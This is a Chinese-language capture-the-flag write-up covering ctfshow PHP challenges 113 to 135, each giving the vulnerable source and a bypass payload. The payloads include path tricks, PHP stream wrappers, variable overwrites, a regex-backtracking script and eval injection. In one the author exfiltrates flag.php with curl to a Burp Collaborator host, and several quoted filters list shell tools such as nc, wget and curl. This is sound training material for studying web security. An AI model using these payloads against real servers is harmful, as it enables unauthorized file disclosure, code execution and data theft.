总结
113
源码
<?phphighlight_file(__FILE__);error_reporting(0);function filter($file){if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;}}$file=$_GET['file'];if(! is_file($file)){highlight_file(filter($file));}else{echo "hacker!";}
这道题在上一道题目的基础上过滤了php://filter,可以利用其他伪协议读取
比如
compress.zlib://、 compress.bzip2:// 和 gzopen()、bzopen() 是相等的。并且可以在不支持 fopencookie 的系统中使用。ZIP 扩展 注册了 zip: 封装器。 自 PHP 7.2.0 和 libzip 1.2.0+ 起,加密归档开始支持密码,允许数据流中使用密码。?file=compress.zlib:///var/www/html/flag.php?file=php://filter/resource=flag.php?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php?file=compress.zlib://flag.php?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
但是这道题的题解使用proc/self,自己查一下!
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
115 trim函数绕过+is_numeric()绕过
源码
<?phpinclude('flag.php');highlight_file(__FILE__);error_reporting(0);function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num;}$num=$_GET['num'];if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){if($num=='36'){echo $flag;}else{echo "hacker!!";}}else{echo "hacker!!!";}?>
trim函数
语法trim(string,charlist)参数 描述string 必需。规定要检查的字符串。charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:"\0" - NULL"\t" - 制表符"\n" - 换行"\x0B" - 垂直制表符"\r" - 回车" " - 空格
做个简单的测试 显示is_numeric的
<?phpfor ($i=0; $i <128 ; $i++) {$x=chr($i).'1';if(is_numeric($x)==true){echo urlencode(chr($i))." ";}}?>//%09 %0A %0B %0C %0D + %2B - . 0 1 2 3 4 5 6 7 8 9
接着是trim()
<?phpfor ($i=0; $i <=128 ; $i++) {$x=chr($i).'1';if(trim($x)!=='1' && is_numeric($x)){echo urlencode(chr($i))." ";}}?>//%0C %2B - . 0 1 2 3 4 5 6 7 8 9
123 125 126
源码
<?phperror_reporting(0);highlight_file(__FILE__);include("flag.php");$a=$_SERVER['argv'];$c=$_POST['fun'];if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){eval("$c".";");if($fl0g==="flag_give_me"){echo $flag;}}}?>
知识点一%5B绕过变量名.
首先在第一个if中post上传了一个CTFSHOW.COM的变量,但是php中变量名是不能够带.号的,如果上传的变量名称带.会自动转化为
看了大佬的wp,可以用%5B来代替.,原因是上面真的不了解,大佬也是暴力破解破出来的
<?phpfunction curl($url,$data){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_POST, 1);curl_setopt($ch, CURLOPT_POSTFIELDS, $data);$response = curl_exec($ch);curl_close($ch);return strlen($response);}$url="http://127.0.0.1/test.php";for ($i=0; $i <=128 ; $i++) {for ($j=0; $j <=128 ; $j++) {$data="CTF".urlencode(chr($i))."SHOW".urlencode(chr($j))."COM"."=123";if(curl($url,$data)!=0){echo $data."\n";}}}?>
知识点二 命令行模式和网页模式
1、cli模式(命令行)下第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数2、web网页模式下在web页模式下必须在php.ini开启register_argc_argv配置项设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]$argv,$argc在web模式下不适用
这里有个QUERY_STRING的详解
解题
首先确保
POST上传了CTF_SHOW=1&CTF%5bSHOW.COM=1
接着上传get: a=1+fl0g=flag_give_me
CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去继续判断query string是否为空,如果不为空把通过+符号分割的字符串转换成php内部的zend_string,然后再把这个zend_string复制到 arr 数组中去。
那么数组的第二个值就是fl0g=flag_give_me
之后再post上传fun=parse_str($a[1])
就将fl0g=flag_give_me这个字符串转换成$fl0g=flag_give_me了
完整的payload
a=1+fl0g=flag_give_meCTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
这道题还有非预期,直接再eval上搞事情
postCTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag
127 变量覆盖
源码
<?phperror_reporting(0);include("flag.php");highlight_file(__FILE__);$ctf_show = md5($flag);$url = $_SERVER['QUERY_STRING'];function waf($url){if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){return true;}else{return false;}}if(waf($url)){die("嗯哼?");}else{extract($_GET);}if($ctf_show==='ilove36d'){echo $flag;}?>
变量覆盖,但是又waf,过滤了_这些字符,所以不能直接上传
直接上传CTF%5BSHOW=ilove36d就绕过了
128 gettex扩展
源码
<?phperror_reporting(0);include("flag.php");highlight_file(__FILE__);$f1 = $_GET['f1'];$f2 = $_GET['f2'];if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2)));}else{echo "嗯哼?";}function check($str){return !preg_match('/[0-9]|[a-z]/i', $str);}?>
过滤了所有的数字和字母,然后去调用call_user_func(),emmm又是盲点
gettext扩展
在开启该拓展后 _() 等效于 gettext()
<?phpecho gettext("phpinfo");//结果 phpinfoecho _("phpinfo");//结果 phpinfo?>
get_defined_vars — 返回由所有已定义变量所组成的数组
所以payload:_f1=&f2=get_defined_vars
?f1=_&f2=get_defined_varsvar_dump(call_user_func(call_user_func($f1,$f2)));var_dump(call_user_func(call_user_func(_,'get_defined_vars')));var_dump(call_user_func(get_defined_vars));
129 stripos绕过
源码
<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_GET['f'])){$f = $_GET['f'];if(stripos($f, 'ctfshow')>0){echo readfile($f);}}
stripos定位字符串中某一字符第一次出现的位置,这里只要出现了ctfshow就可以了
解法一:目录穿越
/ctfshow/../var/www/html/flag.php
解法二:伪协议读取
php://filter/read=convert.base64.encode | ctfshow/resource=flag.php
利用phpfilter伪协议,其中伪协议无效的话就会被过滤
130 数组绕过正则
<?phperror_reporting(0);highlight_file(__FILE__);include("flag.php");if(isset($_POST['f'])){$f = $_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f, 'ctfshow') === FALSE){die('bye!!');}echo $flag;}
解法一:
数组绕过正则
<?php$a = array('ctfshow');var_dump(preg_match('/ctfshow/',$a));//bool(false)var_dump(stripos($a, 'ctfshow'));//NULL
解法二:
直接上传f=ctfshow
因为正则匹配里是+号就是一次或者多次所以直接绕过了正则…阿泽
131 正则回溯
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
源码
<?phperror_reporting(0);highlight_file(__FILE__);include("flag.php");if(isset($_POST['f'])){$f = (String)$_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f,'36Dctfshow') === FALSE){die('bye!!');}echo $flag;}?>
解题脚本:
import requestsurl = "http://961ef195-94e5-4f6f-90bd-eb20093794be.challenge.ctf.show/"data = {'f':"a"*1000000+'36Dctfshow'}r = requests.post(url,data=data)print(r.text)
132 && || 优先级
访问robots.txt,会提示你/admin
直接访问得到源码
<?php#error_reporting(0);include("flag.php");highlight_file(__FILE__);if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}}}
这道题的考察点在于&&和||的优先级
a && b || c应该理解成(a && b) || c但是如果a是错误的 就会直接跳过b 因为(a && b) 一定是错误的所以接下来就判断c 如果c是对的 整个语句都是对的
所以payload:?username=admin&password=123&code=admin
133 命令套娃加无回显外带
源码
<?phperror_reporting(0);highlight_file(__FILE__);//flag.phpif($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}}
解题
套娃
这里用了一个套娃
如果我们上传的是一个F=$F;sleep 3
那么在执行eval的时候会
这样执行
eval(‘$F ; ‘),截取这六个字符进行解析
而$F=$F;sleep 3
那么最后运行的效果就等于
eval(`$F;sleep 3`);所以我们访问网页的时候会sleep 3秒
外带
但是我们的确可以进行命令执行了,但是又怎么得到我们想要的数据呢,这里并没有回显
我们可以利用burpsuit 的Collaborator Client
操作如下
点击copy to clipboard 会得到一个链接
然后get传参按下面的payload传 就能得到我们想要的数据
payload:?F=`$F `;+curl -X POST -F xx=@flag.php 6hokugw3tjr8vdj8f2yldiead1jt7i.burpcollaborator.net# -X POST 指定 HTTP 请求的方法为 POST# 其中-F 是带文件的形式发送post请求# xx是上传文件的name值,flag.php就是上传的文件
![7{73TLB)F%K8}P5J8W8W)6.png
134 $_SERVER[‘QUERY_STRING’]和extract变量覆盖
源码
<?phphighlight_file(__FILE__);$key1 = 0;$key2 = 0;if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono");}@parse_str($_SERVER['QUERY_STRING']);extract($_POST);if($key1 == '36d' && $key2 == '36d') {die(file_get_contents('flag.php'));}
又是变量覆盖加$_SERVER[‘QUERY_STRING’]
直接get传参_POST[key1]=36d&_POST[key2]=36d
此时$_SERVER[‘QUERY_STRING’]=”_POST[key1]=36d&_POST[key2]=36d”
经过parse_str就会变成 $_POST[‘key1’]=36d;$_POST[‘key2’]=36d
之后经过$_POST变量覆盖那么就会key1=36 key2=36d
135
源码
<?phperror_reporting(0);highlight_file(__FILE__);//flag.phpif($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然破解了前面的,那就来一个加强版吧");}}
和133的题目其实一样,只时这里文件的权限高了,可以直接利用cp指令复制文件 到另外一个文件中,然后查看
payload:F=$F;cp flag.php flag.txt
